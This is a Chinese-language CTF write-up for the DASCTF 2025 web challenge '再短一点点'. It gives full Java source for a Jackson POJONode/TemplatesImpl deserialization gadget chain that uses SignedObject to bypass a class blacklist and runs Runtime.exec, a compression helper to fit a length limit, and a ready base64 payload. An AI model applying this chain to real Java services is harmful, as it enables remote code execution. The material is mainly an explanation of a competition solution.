DASCTF 2025上半年赛 web-再短一点点
目录
web
再短一点点
/deser
路由可以反序列化,有长度限制以及重写了resolveClass 方法存在黑名单
在 flag 路由对 /a 文件进行检测,如果没有这个文件访问 /flag
就会获得 flag,
在看看 resolveClass 中过滤了哪些类,有 BadAttributeValueExpException 链以及 spring aop 链,
没过滤 SignedObject ,可以打二次反序列化,构造,
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtMethod;
import javassist.bytecode.ClassFile;
import javassist.bytecode.ConstPool;
import sun.misc.Unsafe;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import java.util.Map;
import java.util.Vector;
public class test {
public static void main(String[] args)throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"rm a\");");
clazz.addConstructor(constructor);
ClassFile cf = clazz.getClassFile();
cf.removeAttribute("SourceFile");
cf.removeAttribute("LineNumberTable");
cf.removeAttribute("LocalVariableTable");
cf.compact();
byte[] minimized = clazz.toBytecode();
byte[][] bytes = new byte[][]{ minimized };
TemplatesImpl templates = (TemplatesImpl) createObjWithoutConstructor(TemplatesImpl.class);
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "a");
try {
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
POJONode node1 = new POJONode(templates);
EventListenerList list1 = (EventListenerList) createObjWithoutConstructor(EventListenerList.class);
UndoManager manager1 = new UndoManager();
Vector vector1 = (Vector) getFieldValue(manager1, "edits");
vector1.add(node1);
setFieldValue(list1, "listenerList", new Object[] {Map.class, manager1 });
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance(privateKey.getAlgorithm());
SignedObject signedObject = new SignedObject(node1, privateKey, signature);
POJONode node = new POJONode(signedObject);
EventListenerList list = (EventListenerList) createObjWithoutConstructor(EventListenerList.class);
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(node);
setFieldValue(list, "listenerList", new Object[] {Map.class, manager });
try {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objout = new ObjectOutputStream(out);
objout.writeObject(list);
objout.close();
out.close();
byte[] ObjectBytes = out.toByteArray();
String base64EncodedValue = Base64.getEncoder().encodeToString(ObjectBytes);
System.out.println(base64EncodedValue);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void setValue(Object obj,String fieldName,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
public static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception {
Class<?> clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Object getFieldValue(Object obj, String fieldName)
throws NoSuchFieldException, IllegalAccessException {
Class clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
} catch (Exception e) {
clazz = clazz.getSuperclass();
}
}
return null;
}
public static <T> T createObjWithoutConstructor(Class<T> clazz) {
try {
// 通过反射获取 Unsafe 实例
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
// 使用 Unsafe 分配对象内存(不会调用构造函数)
return (T) unsafe.allocateInstance(clazz);
} catch (Exception e) {
throw new RuntimeException("Failed to create instance without constructor", e);
}
}
}
可以通过减少恶意类调试属性和置空对象无关属性来减少长度,
ClassFile cf = clazz.getClassFile();
cf.removeAttribute("SourceFile");
cf.removeAttribute("LineNumberTable");
cf.removeAttribute("LocalVariableTable");
cf.compact();
通过 createObjWithoutConstructor
来创建对象把无关属性值进行置空
最后把获得的字节码进行压缩,得到长度为 1280,
import java.io.*;
import java.util.Base64;
import java.util.zip.Deflater;
import java.util.zip.DeflaterOutputStream;
public class zip2 {
public static void main(String[] args) throws Exception {
String input = "rO0ABXNyACNqYXZheC5zd2luZy5ldmVudC5FdmVudExpc3RlbmVyTGlzdLE2xn2E6tZEAwAAeHB0AA1qYXZhLnV0aWwuTWFwc3IAHGphdmF4LnN3aW5nLnVuZG8uVW5kb01hbmFnZXLjKyF5THHKQgIAAkkADmluZGV4T2ZOZXh0QWRkSQAFbGltaXR4cgAdamF2YXguc3dpbmcudW5kby5Db21wb3VuZEVkaXSlnlC6U9uV/QIAAloACmluUHJvZ3Jlc3NMAAVlZGl0c3QAEkxqYXZhL3V0aWwvVmVjdG9yO3hyACVqYXZheC5zd2luZy51bmRvLkFic3RyYWN0VW5kb2FibGVFZGl0CA0bju0CCxACAAJaAAVhbGl2ZVoAC2hhc0JlZW5Eb25leHABAQFzcgAQamF2YS51dGlsLlZlY3RvctmXfVuAO68BAwADSQARY2FwYWNpdHlJbmNyZW1lbnRJAAxlbGVtZW50Q291bnRbAAtlbGVtZW50RGF0YXQAE1tMamF2YS9sYW5nL09iamVjdDt4cAAAAAAAAAABdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAZHNyACxjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5QT0pPTm9kZQAAAAAAAAACAgABTAAGX3ZhbHVldAASTGphdmEvbGFuZy9PYmplY3Q7eHIALWNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlZhbHVlTm9kZQAAAAAAAAABAgAAeHIAMGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLkJhc2VKc29uTm9kZQAAAAAAAAABAgAAeHBzcgAaamF2YS5zZWN1cml0eS5TaWduZWRPYmplY3QJ/71oKjzV/wIAA1sAB2NvbnRlbnR0AAJbQlsACXNpZ25hdHVyZXEAfgATTAAMdGhlYWxnb3JpdGhtdAASTGphdmEvbGFuZy9TdHJpbmc7eHB1cgACW0Ks8xf4BghU4AIAAHhwAAADOqztAAVzcgAsY29tLmZhc3RlcnhtbC5qYWNrc29uLmRhdGFiaW5kLm5vZGUuUE9KT05vZGUAAAAAAAAAAgIAAUwABl92YWx1ZXQAEkxqYXZhL2xhbmcvT2JqZWN0O3hyAC1jb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5WYWx1ZU5vZGUAAAAAAAAAAQIAAHhyADBjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5CYXNlSnNvbk5vZGUAAAAAAAAAAQIAAHhwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAAAAAAB1cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAABOMr+ur4AAAA0ABYBAAFhBwABAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAAwEABjxpbml0PgEAAygpVgEABENvZGUMAAUABgoABAAIAQARamF2YS9sYW5nL1J1bnRpbWUHAAoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAMAA0KAAsADgEABHJtIGEIABABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAASABMKAAsAFAAhAAIABAAAAAAAAQABAAUABgABAAcAAAAaAAIAAQAAAA4qtwAJuAAPEhG2ABVXsQAAAAAAAHB0AAFhcHcBAHh1cQB+ABYAAAAuMCwCFBb8NN3QjY557jeyWVE5K/1pnK0nAhQ2z7hjCy3dDh3JIEtC7dNDMHrRbHQAA0RTQXBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHgAAAAAAAAAZHB4"; // 你的 Base64 串
byte[] decoded = Base64.getDecoder().decode(input);
int bestLen = Integer.MAX_VALUE;
String bestB64 = null;
// 三种常用策略:默认、FILTERED、HUFFMAN_ONLY
int[] strategies = {
Deflater.DEFAULT_STRATEGY,
Deflater.FILTERED,
Deflater.HUFFMAN_ONLY
};
for (int strat : strategies) {
Deflater def = new Deflater(Deflater.BEST_COMPRESSION);
def.setStrategy(strat);
ByteArrayOutputStream baos = new ByteArrayOutputStream(decoded.length);
try (DeflaterOutputStream dos = new DeflaterOutputStream(baos, def)) {
dos.write(decoded);
}
byte[] comp = baos.toByteArray();
String b64 = Base64.getEncoder().encodeToString(comp);
if (b64.length() < bestLen) {
bestLen = b64.length();
bestB64 = b64;
}
}
// 输出最短的那一个
System.out.print(bestB64);
// 也可以打印长度
System.err.println("Shortest length: " + bestLen);
}
}
最后删掉 a 文件获得 flag